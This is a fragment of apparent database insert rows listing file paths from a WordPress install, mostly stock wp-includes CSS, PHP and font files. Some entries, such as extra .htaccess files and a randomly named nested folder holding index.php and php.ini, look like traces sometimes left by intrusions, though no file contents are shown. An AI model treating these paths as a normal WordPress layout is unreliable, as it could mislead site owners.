(3829,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset-rtl.css','wp-includes/css/dist/block-library/reset-rtl.css'),
(3830,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset-rtl.min.css','wp-includes/css/dist/block-library/reset-rtl.min.css'),
(3831,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset.css','wp-includes/css/dist/block-library/reset.css'),
(3832,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset.min.css','wp-includes/css/dist/block-library/reset.min.css'),
(3833,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style-rtl.css','wp-includes/css/dist/block-library/style-rtl.css'),
(3834,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style-rtl.min.css','wp-includes/css/dist/block-library/style-rtl.min.css'),
(3835,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style.css','wp-includes/css/dist/block-library/style.css'),
(3836,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style.min.css','wp-includes/css/dist/block-library/style.min.css'),
(3837,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme-rtl.css','wp-includes/css/dist/block-library/theme-rtl.css'),
(3838,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme-rtl.min.css','wp-includes/css/dist/block-library/theme-rtl.min.css'),
(3839,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme.css','wp-includes/css/dist/block-library/theme.css'),
(3840,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme.min.css','wp-includes/css/dist/block-library/theme.min.css'),
(3841,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/.htaccess','wp-includes/css/dist/commands/.htaccess'),
(3842,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style-rtl.css','wp-includes/css/dist/commands/style-rtl.css'),
(3843,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style-rtl.min.css','wp-includes/css/dist/commands/style-rtl.min.css'),
(3844,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style.css','wp-includes/css/dist/commands/style.css'),
(3845,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style.min.css','wp-includes/css/dist/commands/style.min.css'),
(3846,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/.htaccess','wp-includes/css/dist/components/.htaccess'),
(3847,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style-rtl.css','wp-includes/css/dist/components/style-rtl.css'),
(3848,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style-rtl.min.css','wp-includes/css/dist/components/style-rtl.min.css'),
(3849,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style.css','wp-includes/css/dist/components/style.css'),
(3850,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style.min.css','wp-includes/css/dist/components/style.min.css'),
(3851,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/.htaccess','wp-includes/css/dist/customize-widgets/.htaccess'),
(3852,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style-rtl.css','wp-includes/css/dist/customize-widgets/style-rtl.css'),
(3853,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style-rtl.min.css','wp-includes/css/dist/customize-widgets/style-rtl.min.css'),
(3854,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style.css','wp-includes/css/dist/customize-widgets/style.css'),
(3855,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style.min.css','wp-includes/css/dist/customize-widgets/style.min.css'),
(3856,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/.htaccess','wp-includes/css/dist/edit-post/.htaccess'),
(3857,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic-rtl.css','wp-includes/css/dist/edit-post/classic-rtl.css'),
(3858,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic-rtl.min.css','wp-includes/css/dist/edit-post/classic-rtl.min.css'),
(3859,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic.css','wp-includes/css/dist/edit-post/classic.css'),
(3860,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic.min.css','wp-includes/css/dist/edit-post/classic.min.css'),
(3861,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style-rtl.css','wp-includes/css/dist/edit-post/style-rtl.css'),
(3862,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style-rtl.min.css','wp-includes/css/dist/edit-post/style-rtl.min.css'),
(3863,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style.css','wp-includes/css/dist/edit-post/style.css'),
(3864,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style.min.css','wp-includes/css/dist/edit-post/style.min.css'),
(3865,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/.htaccess','wp-includes/css/dist/edit-site/.htaccess'),
(3866,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts-rtl.css','wp-includes/css/dist/edit-site/posts-rtl.css'),
(3867,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts-rtl.min.css','wp-includes/css/dist/edit-site/posts-rtl.min.css'),
(3868,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts.css','wp-includes/css/dist/edit-site/posts.css'),
(3869,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts.min.css','wp-includes/css/dist/edit-site/posts.min.css'),
(3870,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style-rtl.css','wp-includes/css/dist/edit-site/style-rtl.css'),
(3871,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style-rtl.min.css','wp-includes/css/dist/edit-site/style-rtl.min.css'),
(3872,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style.css','wp-includes/css/dist/edit-site/style.css'),
(3873,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style.min.css','wp-includes/css/dist/edit-site/style.min.css'),
(3874,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/.htaccess','wp-includes/css/dist/edit-widgets/.htaccess'),
(3875,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style-rtl.css','wp-includes/css/dist/edit-widgets/style-rtl.css'),
(3876,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style-rtl.min.css','wp-includes/css/dist/edit-widgets/style-rtl.min.css'),
(3877,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style.css','wp-includes/css/dist/edit-widgets/style.css'),
(3878,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style.min.css','wp-includes/css/dist/edit-widgets/style.min.css'),
(3879,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/.htaccess','wp-includes/css/dist/editor/.htaccess'),
(3880,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style-rtl.css','wp-includes/css/dist/editor/style-rtl.css'),
(3881,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style-rtl.min.css','wp-includes/css/dist/editor/style-rtl.min.css'),
(3882,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style.css','wp-includes/css/dist/editor/style.css'),
(3883,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style.min.css','wp-includes/css/dist/editor/style.min.css'),
(3884,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/.htaccess','wp-includes/css/dist/format-library/.htaccess'),
(3885,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style-rtl.css','wp-includes/css/dist/format-library/style-rtl.css'),
(3886,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style-rtl.min.css','wp-includes/css/dist/format-library/style-rtl.min.css'),
(3887,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style.css','wp-includes/css/dist/format-library/style.css'),
(3888,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style.min.css','wp-includes/css/dist/format-library/style.min.css'),
(3889,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/.htaccess','wp-includes/css/dist/list-reusable-blocks/.htaccess'),
(3890,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style-rtl.css','wp-includes/css/dist/list-reusable-blocks/style-rtl.css'),
(3891,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style-rtl.min.css','wp-includes/css/dist/list-reusable-blocks/style-rtl.min.css'),
(3892,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style.css','wp-includes/css/dist/list-reusable-blocks/style.css'),
(3893,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/style.min.css','wp-includes/css/dist/list-reusable-blocks/style.min.css'),
(3894,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style-rtl.css','wp-includes/css/dist/media-utils/style-rtl.css'),
(3895,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style-rtl.min.css','wp-includes/css/dist/media-utils/style-rtl.min.css'),
(3896,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style.css','wp-includes/css/dist/media-utils/style.css'),
(3897,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style.min.css','wp-includes/css/dist/media-utils/style.min.css'),
(3898,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style-rtl.css','wp-includes/css/dist/notices/style-rtl.css'),
(3899,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style-rtl.min.css','wp-includes/css/dist/notices/style-rtl.min.css'),
(3900,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style.css','wp-includes/css/dist/notices/style.css'),
(3901,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style.min.css','wp-includes/css/dist/notices/style.min.css'),
(3902,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/.htaccess','wp-includes/css/dist/nux/.htaccess'),
(3903,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style-rtl.css','wp-includes/css/dist/nux/style-rtl.css'),
(3904,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style-rtl.min.css','wp-includes/css/dist/nux/style-rtl.min.css'),
(3905,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style.css','wp-includes/css/dist/nux/style.css'),
(3906,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style.min.css','wp-includes/css/dist/nux/style.min.css'),
(3907,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/.htaccess','wp-includes/css/dist/patterns/.htaccess'),
(3908,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style-rtl.css','wp-includes/css/dist/patterns/style-rtl.css'),
(3909,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style-rtl.min.css','wp-includes/css/dist/patterns/style-rtl.min.css'),
(3910,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style.css','wp-includes/css/dist/patterns/style.css'),
(3911,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/style.min.css','wp-includes/css/dist/patterns/style.min.css'),
(3912,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/.htaccess','wp-includes/css/dist/preferences/.htaccess'),
(3913,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style-rtl.css','wp-includes/css/dist/preferences/style-rtl.css'),
(3914,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style-rtl.min.css','wp-includes/css/dist/preferences/style-rtl.min.css'),
(3915,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style.css','wp-includes/css/dist/preferences/style.css'),
(3916,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style.min.css','wp-includes/css/dist/preferences/style.min.css'),
(3917,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/registry.php','wp-includes/css/dist/registry.php'),
(3918,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/.htaccess','wp-includes/css/dist/reusable-blocks/.htaccess'),
(3919,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style-rtl.css','wp-includes/css/dist/reusable-blocks/style-rtl.css'),
(3920,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style-rtl.min.css','wp-includes/css/dist/reusable-blocks/style-rtl.min.css'),
(3921,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style.css','wp-includes/css/dist/reusable-blocks/style.css'),
(3922,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style.min.css','wp-includes/css/dist/reusable-blocks/style.min.css'),
(3923,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens-rtl.css','wp-includes/css/dist/theme/design-tokens-rtl.css'),
(3924,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens-rtl.min.css','wp-includes/css/dist/theme/design-tokens-rtl.min.css'),
(3925,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens.css','wp-includes/css/dist/theme/design-tokens.css'),
(3926,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens.min.css','wp-includes/css/dist/theme/design-tokens.min.css'),
(3927,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/.htaccess','wp-includes/css/dist/widgets/.htaccess'),
(3928,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style-rtl.css','wp-includes/css/dist/widgets/style-rtl.css'),
(3929,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style-rtl.min.css','wp-includes/css/dist/widgets/style-rtl.min.css'),
(3930,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style.css','wp-includes/css/dist/widgets/style.css'),
(3931,'/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style.min.css','wp-includes/css/dist/widgets/style.min.css'),
(3932,'/home/trevorkl/trevorklee.com/wp-includes/css/editor-rtl.css','wp-includes/css/editor-rtl.css'),
(3933,'/home/trevorkl/trevorklee.com/wp-includes/css/editor-rtl.min.css','wp-includes/css/editor-rtl.min.css'),
(3934,'/home/trevorkl/trevorklee.com/wp-includes/css/editor.css','wp-includes/css/editor.css'),
(3935,'/home/trevorkl/trevorklee.com/wp-includes/css/editor.min.css','wp-includes/css/editor.min.css'),
(3936,'/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog-rtl.css','wp-includes/css/jquery-ui-dialog-rtl.css'),
(3937,'/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog-rtl.min.css','wp-includes/css/jquery-ui-dialog-rtl.min.css'),
(3938,'/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog.css','wp-includes/css/jquery-ui-dialog.css'),
(3939,'/home/trevorkl/trevorklee.com/wp-includes/css/jquery-ui-dialog.min.css','wp-includes/css/jquery-ui-dialog.min.css'),
(3940,'/home/trevorkl/trevorklee.com/wp-includes/css/media-views-rtl.css','wp-includes/css/media-views-rtl.css'),
(3941,'/home/trevorkl/trevorklee.com/wp-includes/css/media-views-rtl.min.css','wp-includes/css/media-views-rtl.min.css'),
(3942,'/home/trevorkl/trevorklee.com/wp-includes/css/media-views.css','wp-includes/css/media-views.css'),
(3943,'/home/trevorkl/trevorklee.com/wp-includes/css/media-views.min.css','wp-includes/css/media-views.min.css'),
(3944,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check-rtl.css','wp-includes/css/wp-auth-check-rtl.css'),
(3945,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check-rtl.min.css','wp-includes/css/wp-auth-check-rtl.min.css'),
(3946,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check.css','wp-includes/css/wp-auth-check.css'),
(3947,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check.min.css','wp-includes/css/wp-auth-check.min.css'),
(3948,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link-rtl.css','wp-includes/css/wp-block-template-skip-link-rtl.css'),
(3949,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link-rtl.min.css','wp-includes/css/wp-block-template-skip-link-rtl.min.css'),
(3950,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link.css','wp-includes/css/wp-block-template-skip-link.css'),
(3951,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link.min.css','wp-includes/css/wp-block-template-skip-link.min.css'),
(3952,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template-ie.css','wp-includes/css/wp-embed-template-ie.css'),
(3953,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template-ie.min.css','wp-includes/css/wp-embed-template-ie.min.css'),
(3954,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template.css','wp-includes/css/wp-embed-template.css'),
(3955,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template.min.css','wp-includes/css/wp-embed-template.min.css'),
(3956,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-empty-template-alert.css','wp-includes/css/wp-empty-template-alert.css'),
(3957,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-empty-template-alert.min.css','wp-includes/css/wp-empty-template-alert.min.css'),
(3958,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer-rtl.css','wp-includes/css/wp-pointer-rtl.css'),
(3959,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer-rtl.min.css','wp-includes/css/wp-pointer-rtl.min.css'),
(3960,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer.css','wp-includes/css/wp-pointer.css'),
(3961,'/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer.min.css','wp-includes/css/wp-pointer.min.css'),
(3962,'/home/trevorkl/trevorklee.com/wp-includes/customize/.htaccess','wp-includes/customize/.htaccess'),
(3963,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-background-image-control.php','wp-includes/customize/class-wp-customize-background-image-control.php'),
(3964,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-background-image-setting.php','wp-includes/customize/class-wp-customize-background-image-setting.php'),
(3965,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-background-position-control.php','wp-includes/customize/class-wp-customize-background-position-control.php'),
(3966,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-code-editor-control.php','wp-includes/customize/class-wp-customize-code-editor-control.php'),
(3967,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-color-control.php','wp-includes/customize/class-wp-customize-color-control.php'),
(3968,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-cropped-image-control.php','wp-includes/customize/class-wp-customize-cropped-image-control.php'),
(3969,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-custom-css-setting.php','wp-includes/customize/class-wp-customize-custom-css-setting.php'),
(3970,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-date-time-control.php','wp-includes/customize/class-wp-customize-date-time-control.php'),
(3971,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-filter-setting.php','wp-includes/customize/class-wp-customize-filter-setting.php'),
(3972,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-header-image-control.php','wp-includes/customize/class-wp-customize-header-image-control.php'),
(3973,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-header-image-setting.php','wp-includes/customize/class-wp-customize-header-image-setting.php'),
(3974,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-image-control.php','wp-includes/customize/class-wp-customize-image-control.php'),
(3975,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-media-control.php','wp-includes/customize/class-wp-customize-media-control.php'),
(3976,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php','wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php'),
(3977,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-control.php','wp-includes/customize/class-wp-customize-nav-menu-control.php'),
(3978,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php','wp-includes/customize/class-wp-customize-nav-menu-item-control.php'),
(3979,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php','wp-includes/customize/class-wp-customize-nav-menu-item-setting.php'),
(3980,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php','wp-includes/customize/class-wp-customize-nav-menu-location-control.php'),
(3981,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php','wp-includes/customize/class-wp-customize-nav-menu-locations-control.php'),
(3982,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php','wp-includes/customize/class-wp-customize-nav-menu-name-control.php'),
(3983,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-section.php','wp-includes/customize/class-wp-customize-nav-menu-section.php'),
(3984,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php','wp-includes/customize/class-wp-customize-nav-menu-setting.php'),
(3985,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php','wp-includes/customize/class-wp-customize-nav-menus-panel.php'),
(3986,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-new-menu-control.php','wp-includes/customize/class-wp-customize-new-menu-control.php'),
(3987,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-new-menu-section.php','wp-includes/customize/class-wp-customize-new-menu-section.php'),
(3988,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-partial.php','wp-includes/customize/class-wp-customize-partial.php'),
(3989,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-selective-refresh.php','wp-includes/customize/class-wp-customize-selective-refresh.php'),
(3990,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-sidebar-section.php','wp-includes/customize/class-wp-customize-sidebar-section.php'),
(3991,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-site-icon-control.php','wp-includes/customize/class-wp-customize-site-icon-control.php'),
(3992,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-theme-control.php','wp-includes/customize/class-wp-customize-theme-control.php'),
(3993,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-themes-panel.php','wp-includes/customize/class-wp-customize-themes-panel.php'),
(3994,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-themes-section.php','wp-includes/customize/class-wp-customize-themes-section.php'),
(3995,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-upload-control.php','wp-includes/customize/class-wp-customize-upload-control.php'),
(3996,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php','wp-includes/customize/class-wp-sidebar-block-editor-control.php'),
(3997,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-widget-area-customize-control.php','wp-includes/customize/class-wp-widget-area-customize-control.php'),
(3998,'/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-widget-form-customize-control.php','wp-includes/customize/class-wp-widget-form-customize-control.php'),
(3999,'/home/trevorkl/trevorklee.com/wp-includes/date.php','wp-includes/date.php'),
(4000,'/home/trevorkl/trevorklee.com/wp-includes/default-constants.php','wp-includes/default-constants.php'),
(4001,'/home/trevorkl/trevorklee.com/wp-includes/default-filters.php','wp-includes/default-filters.php'),
(4002,'/home/trevorkl/trevorklee.com/wp-includes/default-widgets.php','wp-includes/default-widgets.php'),
(4003,'/home/trevorkl/trevorklee.com/wp-includes/deprecated.php','wp-includes/deprecated.php'),
(4004,'/home/trevorkl/trevorklee.com/wp-includes/embed-template.php','wp-includes/embed-template.php'),
(4005,'/home/trevorkl/trevorklee.com/wp-includes/embed.php','wp-includes/embed.php'),
(4006,'/home/trevorkl/trevorklee.com/wp-includes/error-protection.php','wp-includes/error-protection.php'),
(4007,'/home/trevorkl/trevorklee.com/wp-includes/error_log','wp-includes/error_log'),
(4008,'/home/trevorkl/trevorklee.com/wp-includes/feed-atom-comments.php','wp-includes/feed-atom-comments.php'),
(4009,'/home/trevorkl/trevorklee.com/wp-includes/feed-atom.php','wp-includes/feed-atom.php'),
(4010,'/home/trevorkl/trevorklee.com/wp-includes/feed-rdf.php','wp-includes/feed-rdf.php'),
(4011,'/home/trevorkl/trevorklee.com/wp-includes/feed-rss.php','wp-includes/feed-rss.php'),
(4012,'/home/trevorkl/trevorklee.com/wp-includes/feed-rss2-comments.php','wp-includes/feed-rss2-comments.php'),
(4013,'/home/trevorkl/trevorklee.com/wp-includes/feed-rss2.php','wp-includes/feed-rss2.php'),
(4014,'/home/trevorkl/trevorklee.com/wp-includes/feed.php','wp-includes/feed.php'),
(4015,'/home/trevorkl/trevorklee.com/wp-includes/fonts/.htaccess','wp-includes/fonts/.htaccess'),
(4016,'/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-collection.php','wp-includes/fonts/class-wp-font-collection.php'),
(4017,'/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-face-resolver.php','wp-includes/fonts/class-wp-font-face-resolver.php'),
(4018,'/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-face.php','wp-includes/fonts/class-wp-font-face.php'),
(4019,'/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-library.php','wp-includes/fonts/class-wp-font-library.php'),
(4020,'/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-utils.php','wp-includes/fonts/class-wp-font-utils.php'),
(4021,'/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.eot','wp-includes/fonts/dashicons.eot'),
(4022,'/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.svg','wp-includes/fonts/dashicons.svg'),
(4023,'/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.ttf','wp-includes/fonts/dashicons.ttf'),
(4024,'/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.woff','wp-includes/fonts/dashicons.woff'),
(4025,'/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.woff2','wp-includes/fonts/dashicons.woff2'),
(4026,'/home/trevorkl/trevorklee.com/wp-includes/fonts.php','wp-includes/fonts.php'),
(4027,'/home/trevorkl/trevorklee.com/wp-includes/formatting.php','wp-includes/formatting.php'),
(4028,'/home/trevorkl/trevorklee.com/wp-includes/functions.php','wp-includes/functions.php'),
(4029,'/home/trevorkl/trevorklee.com/wp-includes/functions.wp-scripts.php','wp-includes/functions.wp-scripts.php'),
(4030,'/home/trevorkl/trevorklee.com/wp-includes/functions.wp-styles.php','wp-includes/functions.wp-styles.php'),
(4031,'/home/trevorkl/trevorklee.com/wp-includes/general-template.php','wp-includes/general-template.php'),
(4032,'/home/trevorkl/trevorklee.com/wp-includes/global-styles-and-settings.php','wp-includes/global-styles-and-settings.php'),
(4033,'/home/trevorkl/trevorklee.com/wp-includes/html-api/.htaccess','wp-includes/html-api/.htaccess'),
(4034,'/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/.htaccess','wp-includes/html-api/1xhyzgt/xahpzbq/.htaccess'),
(4035,'/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/index.html','wp-includes/html-api/1xhyzgt/xahpzbq/index.html'),
(4036,'/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/index.php','wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/index.php'),
(4037,'/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini','wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini'),
(4038,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-active-formatting-elements.php','wp-includes/html-api/class-wp-html-active-formatting-elements.php'),
(4039,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-attribute-token.php','wp-includes/html-api/class-wp-html-attribute-token.php'),
(4040,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-decoder.php','wp-includes/html-api/class-wp-html-decoder.php'),
(4041,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-doctype-info.php','wp-includes/html-api/class-wp-html-doctype-info.php'),
(4042,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-open-elements.php','wp-includes/html-api/class-wp-html-open-elements.php'),
(4043,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-processor-state.php','wp-includes/html-api/class-wp-html-processor-state.php'),
(4044,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-processor.php','wp-includes/html-api/class-wp-html-processor.php'),
(4045,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-span.php','wp-includes/html-api/class-wp-html-span.php'),
(4046,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-stack-event.php','wp-includes/html-api/class-wp-html-stack-event.php'),
(4047,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-tag-processor.php','wp-includes/html-api/class-wp-html-tag-processor.php'),
